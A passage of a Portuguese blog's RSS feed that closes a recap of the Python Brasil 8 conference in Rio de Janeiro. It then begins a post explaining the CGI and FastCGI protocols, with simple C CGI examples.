    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Estande da Globo.com na Python brasil 8&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Resultados&lt;/h2&gt;
&lt;p&gt;Não consegui assistir aos tutoriais, logo, meu &lt;em&gt;feedback&lt;/em&gt; será
totalmente focado nas palestras.&lt;/p&gt;
&lt;p&gt;Acredito que a melhor maneira de resumir o resultado é: &lt;strong&gt;Não vejo a
hora de participar da &lt;em&gt;Python&lt;/em&gt; Brasil 9&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;O evento contou com alguns probleminhas de atrasos, e em alguns momentos
de conectividade, mas fora isso foi excelente! O &lt;a href=&quot;http://2012.pythonbrasil.org.br/venue/&quot; title=&quot;Centro de Convenções Sul América, no Rio de Janeiro&quot;&gt;local&lt;/a&gt;, bem
posicionado no centro do Rio de Janeiro, possuía um grande espaço. As
salas para as apresentações eram de fácil acesso. A &lt;a href=&quot;http://2012.pythonbrasil.org.br/schedule/&quot; title=&quot;Conheça o conteúdo apresentado na Python Brasil 2012&quot;&gt;programação&lt;/a&gt;
estava excelente, contando com palestras que iam de provisionamento com
&lt;em&gt;Puppet&lt;/em&gt; até programação com o &lt;em&gt;Raspberry Pi&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Fiquei muito feliz por ter participado do evento, e transmito os meus
parabéns a todos os envolvidos. Um trabalho duro, de fato, mas muito bem
executado.&lt;/p&gt;
&lt;p&gt;Em tempo… o café do pessoal do &lt;a href=&quot;http://www.facebook.com/curtocafe&quot; title=&quot;Visite a página no Facebook&quot;&gt;&lt;em&gt;Curto Café&lt;/em&gt;&lt;/a&gt; estava sensacional! Vale
a recomendação… café feito com muita paixão.&lt;/p&gt;
&lt;h2&gt;As palestras&lt;/h2&gt;
&lt;p&gt;Não pretendo descrever como foi cada palestra, apenas levantar alguns
pontos marcantes. Por exemplo, &lt;a href=&quot;http://www.web2py.com/examples/default/who&quot; title=&quot;Conheça os contribuidores da Web2Py&quot;&gt;&lt;em&gt;Massimo Di Pierro&lt;/em&gt;&lt;/a&gt;, &lt;em&gt;lead developer&lt;/em&gt;
da &lt;em&gt;Web2Py&lt;/em&gt;, fez a seguinte declaração:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Todo mundo deveria programar, pois gera valor, e pode ser descartado sem avarias ao meio ambiente.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A palestra do &lt;em&gt;Massimo&lt;/em&gt; foi muito boa, focada nas facilidades de uso do
&lt;em&gt;Web2Py&lt;/em&gt;. Algumas declarações como “convention over configuration” foram
um tanto controversas, mas ele conseguiu passar o seu ponto.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Sergio Oliveira&lt;/em&gt; e &lt;em&gt;Davi Oliveira&lt;/em&gt; falaram sobre &lt;em&gt;Puppet&lt;/em&gt;, e
demonstraram ao vivo o seu uso. O &lt;a href=&quot;http://github/tracywebtech&quot; title=&quot;Perfil da TracyWebTech no GitHub&quot;&gt;&lt;em&gt;GitHub&lt;/em&gt; da &lt;em&gt;TracyWebTech&lt;/em&gt;&lt;/a&gt; possui
uma série de &lt;em&gt;scripts&lt;/em&gt; para provisionamento prontos, que valem a pena
dar uma olhada. Ainda em provisionamento, &lt;em&gt;Diogo Baeder&lt;/em&gt; e &lt;em&gt;Bernardo
Heynemann&lt;/em&gt; falaram sobre o &lt;a href=&quot;http://heynemann.github.com/provy/&quot; title=&quot;Provisionamento para desenvolvedores&quot;&gt;&lt;em&gt;Provy&lt;/em&gt;&lt;/a&gt;, uma forma de provisionar
servidores “feita para desenvolvedores” (e em &lt;em&gt;Python&lt;/em&gt; (: ).&lt;/p&gt;
&lt;p&gt;Uma das melhores palestras do evento foi a do &lt;em&gt;Tarek Ziade&lt;/em&gt; sobre o
&lt;a href=&quot;http://circus.readthedocs.org/en/0.5.2.1/&quot; title=&quot;A Process &amp;#x26; Socket Manager&quot;&gt;&lt;em&gt;Circus&lt;/em&gt;&lt;/a&gt;. A apresentação pode ser &lt;a href=&quot;http://blog.ziade.org/slides/pyconbrazil2012/circus.html&quot; title=&quot;Veja a apresentação do Tarek na Python Brasil&quot;&gt;conferida aqui&lt;/a&gt;. É bom conhecer
uma alternativa mais rica ao &lt;a href=&quot;/2012/01/23/supervisor-gerencie-os-processos-seu-servidor-web.html&quot; title=&quot;Aumentando a disponibilidade das suas aplicações Web&quot;&gt;&lt;em&gt;Supervisor&lt;/em&gt;&lt;/a&gt;, com monitoramento em
tempo real e um &lt;em&gt;console Web&lt;/em&gt; para gerenciamento.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 600px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/f4dcf1cda30501c10187ddb4c3272ffe/b4294/palestra-tarek-circus-python-brasil-8.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 74.47916666666666%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAPABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQBAgMF/8QAFQEBAQAAAAAAAAAAAAAAAAAAAAH/2gAMAwEAAhADEAAAAawnhJ0RUP/EABoQAAICAwAAAAAAAAAAAAAAAAABERICAyH/2gAIAQEAAQUCqQoyqm9sl2Lq/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAGxABAAEFAQAAAAAAAAAAAAAAABECITEyYYH/2gAIAQEABj8CZXqS42jx/8QAGxAAAgIDAQAAAAAAAAAAAAAAAAERITFBYVH/2gAIAQEAAT8hg9CXLVxR1QbDBeSVtO2tozmnNj//2gAMAwEAAgADAAAAEGc//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPxA//8QAFhEBAQEAAAAAAAAAAAAAAAAAABEB/9oACAECAQE/EJqP/8QAHRABAAMAAgMBAAAAAAAAAAAAAQARIVFxMUFhgf/aAAgBAQABPxB9USx6HSP3iXlI6LdqKGIDjy7iuqOCsvdZXOX7P//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Tarek Ziade, da Mozilla, falando sobre Circus&amp;quot;&quot;
        title=&quot;Tarek Ziade, da Mozilla, falando sobre Circus&quot;
        src=&quot;/static/f4dcf1cda30501c10187ddb4c3272ffe/b4294/palestra-tarek-circus-python-brasil-8.jpg&quot;
        srcset=&quot;/static/f4dcf1cda30501c10187ddb4c3272ffe/7809d/palestra-tarek-circus-python-brasil-8.jpg 192w,
/static/f4dcf1cda30501c10187ddb4c3272ffe/4ecad/palestra-tarek-circus-python-brasil-8.jpg 384w,
/static/f4dcf1cda30501c10187ddb4c3272ffe/b4294/palestra-tarek-circus-python-brasil-8.jpg 600w&quot;
        sizes=&quot;(max-width: 600px) 100vw, 600px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Tarek Ziade, da Mozilla, falando sobre Circus&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;Tarek&lt;/em&gt; falou também sobre empacotamento em &lt;em&gt;Python&lt;/em&gt;. Eu acho a
experiência do &lt;em&gt;pip&lt;/em&gt; e &lt;em&gt;PyPI&lt;/em&gt; excelente, e acho que o empacotamento é
um ponto fortíssimo da linguagem. Mas, &lt;a href=&quot;http://blog.ziade.org/slides/pyconbrazil2012/packaging.html&quot; title=&quot;Confira a palestra do Tarek sobre empacotamento com Python&quot;&gt;segundo a sua apresentação&lt;/a&gt;, o
palestrante conseguiu levantar alguns pontos negativos, e salientou o
árduo caminho que o &lt;em&gt;Python&lt;/em&gt; trilhou para chegar até o momento atual.
Vale a pena conferir!&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Bob Hancock&lt;/em&gt; marcou presença com a sua palestra sobre paralelismo e
concorrência, disparando uma série de frases que “reverberaram” pelo
&lt;em&gt;Twitter&lt;/em&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PyPy is not the salvation!&lt;/li&gt;
&lt;li&gt;Be an Engineer and not a Developer.&lt;/li&gt;
&lt;li&gt;Don’t write another Web Framework.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Outras tantas palestras foram sensacionais, como a do &lt;em&gt;Bruno Rocha&lt;/em&gt;
sobre &lt;em&gt;Whoosh&lt;/em&gt;, ou do &lt;em&gt;Andrews Medina&lt;/em&gt; sobre &lt;em&gt;refactoring&lt;/em&gt;. Pretendo
escrever &lt;em&gt;posts&lt;/em&gt; específicos com o conteúdo destas, portanto, não vou
tornar este &lt;em&gt;post&lt;/em&gt; mais longo e vou parar por aqui.&lt;/p&gt;
&lt;p&gt;Até a próxima…&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Entendendo o CGI, FastCGI e WSGI]]></title><description><![CDATA[Pelos vários anos que programei com o PHP e Apache,
nunca precisei me preocupar com o que acontecia entre esses dois. Para
mim, era tudo uma…]]></description><link>https://klauslaube.com.br/2012/11/02/entendendo-o-cgi-fastcgi-e-wsgi.html</link><guid isPermaLink="false">https://klauslaube.com.br/2012/11/02/entendendo-o-cgi-fastcgi-e-wsgi.html</guid><pubDate>Fri, 02 Nov 2012 15:09:19 GMT</pubDate><content:encoded>&lt;p&gt;Pelos vários anos que programei com o &lt;a href=&quot;/tag/php.html&quot; title=&quot;Conheça mais sobre o Hypertext PreProcessor&quot;&gt;&lt;em&gt;PHP&lt;/em&gt;&lt;/a&gt; e &lt;em&gt;Apache&lt;/em&gt;,
nunca precisei me preocupar com o que acontecia entre esses dois. Para
mim, era tudo uma “mágica” maravilhosa, que entregava as minhas páginas
&lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt; de forma dinâmica. Era uma troca justa: Eles não me traziam
preocupação, logo, eu não me preocupava.&lt;/p&gt;
&lt;p&gt;Com o passar do tempo, o uso do &lt;a href=&quot;/2011/12/19/nginx-poderoso-rapido-facil.html&quot; title=&quot;Conheça o Nginx&quot;&gt;&lt;em&gt;Nginx&lt;/em&gt;&lt;/a&gt; e a necessidade de aprender
&lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;, comecei a me deparar com o famoso &lt;code class=&quot;language-text&quot;&gt;cgi-bin&lt;/code&gt;, e
entender que os truques que o &lt;a href=&quot;http://stackoverflow.com/questions/2712825/what-is-mod-php&quot; title=&quot;Não conhece o módulo do PHP para o Apache?&quot;&gt;&lt;strong&gt;mod_php&lt;/strong&gt;&lt;/a&gt; ocultava iam muito além
do que eu imaginava.&lt;/p&gt;
&lt;h2&gt;O Common Gateway Interface&lt;/h2&gt;
&lt;p&gt;De um modo bem simples, podemos dizer que o &lt;em&gt;Common Gateway Interface&lt;/em&gt; é
um “acordo” entre os servidores &lt;a href=&quot;/tag/http.html&quot; title=&quot;Leia mais sobre HTTP&quot;&gt;&lt;em&gt;HTTP&lt;/em&gt;&lt;/a&gt; e as aplicações &lt;em&gt;web&lt;/em&gt;. Por
baixo dos panos, o servidor &lt;em&gt;web&lt;/em&gt; vai informar uma série de parâmetros
para o seu programa, e é dever do seu programa entregar uma resposta
“bem formada” para o servidor &lt;em&gt;web&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Isso quer dizer que, para o &lt;em&gt;CGI&lt;/em&gt;, não importa qual linguagem ou banco
de dados o seu programa está usando. Para ele, importa a passagem dos
parâmetros e a resposta. Logo, é perfeitamente possível desenvolvermos
nossas páginas até mesmo com a linguagem &lt;em&gt;C&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;c&quot;&gt;&lt;pre class=&quot;language-c&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;stdio.h&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; argc&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token function&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Content-type:text/html\n\n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token function&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&amp;lt;html&gt;\n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token function&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&amp;lt;body bgcolor=\&quot;%s\&quot;&gt;\n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token function&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&amp;lt;/body&gt;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token function&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&amp;lt;/html&gt;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Basta compilar o código acima, jogar no &lt;code class=&quot;language-text&quot;&gt;cgi-bin&lt;/code&gt; do seu &lt;em&gt;Apache&lt;/em&gt;, e
você verá a flexibilidade do protocolo em ação. Neste exemplo, acessando
nosso programa através da &lt;em&gt;URL&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;http://localhost/cgi-bin/exemplo?red&lt;/code&gt;
(por exemplo), veremos apenas uma página com o fundo vermelho. Mas é
importante reparar que, o parâmetro passado na URL (&lt;code class=&quot;language-text&quot;&gt;?red&lt;/code&gt;) está acessível através do
&lt;code class=&quot;language-text&quot;&gt;argv&lt;/code&gt;, ou seja, o protocolo está passando para o nosso programa os
parâmetros através da &lt;code class=&quot;language-text&quot;&gt;STDIN&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Através da &lt;code class=&quot;language-text&quot;&gt;STDOUT&lt;/code&gt;, estamos respondendo ao &lt;em&gt;Apache&lt;/em&gt; utilizando de
artifícios do protocolo. A nossa mensagem é composta por um cabeçalho
informando o tipo da mensagem e o conteúdo. Neste exemplo, trata-se de
um &lt;em&gt;HTML&lt;/em&gt; extremamente simples, &lt;em&gt;James Marshall&lt;/em&gt; &lt;a href=&quot;http://www.jmarshall.com/easy/cgi/portuguese/getcgi.c.txt&quot; title=&quot;Veja outro exemplo de C com CGI&quot;&gt;escreveu um bom exemplo um pouco mais complexo utilizando a linguagem &lt;em&gt;C&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Outro comportamento fundamental do &lt;em&gt;CGI&lt;/em&gt; é a criação de variáveis de
ambiente. Variáveis que você já deve ter usado, como &lt;code class=&quot;language-text&quot;&gt;REMOTE_HOST&lt;/code&gt;,
&lt;code class=&quot;language-text&quot;&gt;REMOTE_ADDR&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;REQUEST_METHOD&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;QUERY_STRING&lt;/code&gt;, são
preenchidas pelo servidor &lt;em&gt;Web&lt;/em&gt; e passadas ao seu programa através do
protocolo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;c&quot;&gt;&lt;pre class=&quot;language-c&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;stdio.h&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;stdlib.h&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; argc&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;addr&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;method&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;query_string&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    addr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;getenv&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;REMOTE_ADDR&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    method &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;getenv&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;REQUEST_METHOD&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    query_string &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;getenv&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;QUERY_STRING&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token function&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Content-type:text/html\n\n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Remote address: %s&amp;lt;br/&gt;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; addr&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Method: %s&amp;lt;br/&gt;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; method&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Query string: %s&amp;lt;br/&gt;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; query_string&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;O FastCGI&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;FastCGI&lt;/em&gt; segue o mesmo princípio do &lt;em&gt;CGI&lt;/em&gt;, mas possui uma série de
particularidades (e vantagens) em relação ao seu “primogênito”. Para
compreender a diferença entre eles, vamos analisar o ciclo de vida de
uma requisição utilizando o &lt;em&gt;CGI&lt;/em&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A cada requisição, o servidor &lt;em&gt;web&lt;/em&gt; &lt;strong&gt;cria um novo processo&lt;/strong&gt;;&lt;/li&gt;
&lt;li&gt;Através deste processo, o servidor &lt;em&gt;web&lt;/em&gt; passa informações para o
“programa &lt;em&gt;CGI&lt;/em&gt;“ utilizando &lt;strong&gt;variáveis de ambiente&lt;/strong&gt;;&lt;/li&gt;
&lt;li&gt;O servidor &lt;em&gt;web&lt;/em&gt; também passa qualquer &lt;em&gt;input&lt;/em&gt; de dados do usuário
através da &lt;strong&gt;&lt;em&gt;STDIN&lt;/em&gt;&lt;/strong&gt;;&lt;/li&gt;
&lt;li&gt;O programa retorna uma saída ao servidor &lt;em&gt;web&lt;/em&gt; através do protocolo
&lt;em&gt;CGI&lt;/em&gt; (utilizando a &lt;strong&gt;&lt;em&gt;STDOUT&lt;/em&gt;&lt;/strong&gt;);&lt;/li&gt;
&lt;li&gt;Quando o &lt;strong&gt;programa acabar&lt;/strong&gt;, a requisição é finalizada.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Em um cenário com poucas requisições, este fluxo atende perfeitamente.
Os problemas começam a aparecer quando temos que lidar com &lt;strong&gt;alto
consumo&lt;/strong&gt; (algo comum hoje em dia, mas nem tão comum quando conceberam o
protocolo &lt;em&gt;CGI&lt;/em&gt;). Dentre os principais problemas, temos:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Criar e destruir um processo a cada requisição aumenta o &lt;em&gt;load&lt;/em&gt; do
seu servidor, o que fatalmente degrada performance;&lt;/li&gt;
&lt;li&gt;Não há reúso de recursos, como conexões com banco de dados e
&lt;em&gt;caches&lt;/em&gt; em memória (já que a cada nova requisição é iniciado um
novo processo);&lt;/li&gt;
&lt;li&gt;Não é trivial separar a sua aplicação do seu servidor &lt;em&gt;Web&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Foi pensando em performance e escalabilidade que o &lt;em&gt;FastCGI&lt;/em&gt; foi criado.
Ao contrário do &lt;em&gt;CGI&lt;/em&gt;, ele utiliza “processos persistentes”, onde o
servidor &lt;em&gt;web&lt;/em&gt; é capaz de iniciar um processo que responde a uma série
de requisições. Além disso, ele usa &lt;a href=&quot;http://pt.wikipedia.org/wiki/Multiplexador&quot; title=&quot;Leia mais sobre Multiplexadores na Wikipedia&quot;&gt;multiplexação&lt;/a&gt; para transmitir e
receber informações dentro de uma única conexão, que pode ser um
&lt;em&gt;socket&lt;/em&gt; ou uma conexão &lt;em&gt;TCP&lt;/em&gt;. Desse modo, você pode ter o seu servidor
&lt;em&gt;web&lt;/em&gt; e o seu processo &lt;em&gt;FastCGI&lt;/em&gt; em máquinas diferentes.&lt;/p&gt;
&lt;p&gt;O ciclo de vida de uma requisição &lt;em&gt;FastCGI&lt;/em&gt;, é basicamente composto por:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;O servidor &lt;em&gt;web&lt;/em&gt; &lt;strong&gt;cria um processo &lt;em&gt;FastCGI&lt;/em&gt;&lt;/strong&gt; para receber
requisições;&lt;/li&gt;
&lt;li&gt;A sua aplicação é inicializada, e &lt;strong&gt;aguarda por uma nova conexão&lt;/strong&gt;
vinda do servidor &lt;em&gt;web&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;Quando o cliente envia uma requisição, o servidor &lt;em&gt;web&lt;/em&gt; abre uma
&lt;strong&gt;conexão com o processo &lt;em&gt;FastCGI&lt;/em&gt;&lt;/strong&gt;. O servidor envia as variáveis
de ambiente e entradas de dados através desta conexão;&lt;/li&gt;
&lt;li&gt;O processo &lt;em&gt;FastCGI&lt;/em&gt; retorna a &lt;strong&gt;saída através desta mesma
conexão&lt;/strong&gt;;&lt;/li&gt;
&lt;li&gt;O processo &lt;em&gt;FastCGI&lt;/em&gt; fecha a conexão, e a &lt;strong&gt;requisição é
concluída&lt;/strong&gt;, porém, o &lt;strong&gt;processo fica “vivo”&lt;/strong&gt;, esperando por outra
requisição do servidor &lt;em&gt;web&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;É claro que para atingir este resultado, aplicações &lt;em&gt;FastCGI&lt;/em&gt; possuem
uma arquitetura mais “rebuscada” que aplicações &lt;em&gt;CGI&lt;/em&gt;. Por exemplo, para
suportar a &lt;a href=&quot;http://www.nongnu.org/fastcgi/#multiplexing&quot; title=&quot;The wonders of multiplexing&quot;&gt;multiplexação&lt;/a&gt;, o servidor &lt;em&gt;web&lt;/em&gt; e o processo &lt;em&gt;FastCGI&lt;/em&gt;
se comunicam através de mensagens. Nestas mensagens (&lt;code class=&quot;language-text&quot;&gt;BEGIN_REQUEST&lt;/code&gt;,
&lt;code class=&quot;language-text&quot;&gt;ABORT_REQUEST&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;END_REQUEST&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;PARAMS&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;STDIN&lt;/code&gt; e
&lt;code class=&quot;language-text&quot;&gt;STDOUT&lt;/code&gt;) possuímos um cabeçalho chamado &lt;code class=&quot;language-text&quot;&gt;Request ID&lt;/code&gt;, que é
responsável por identificar a qual requisição o pacote pertence.&lt;/p&gt;
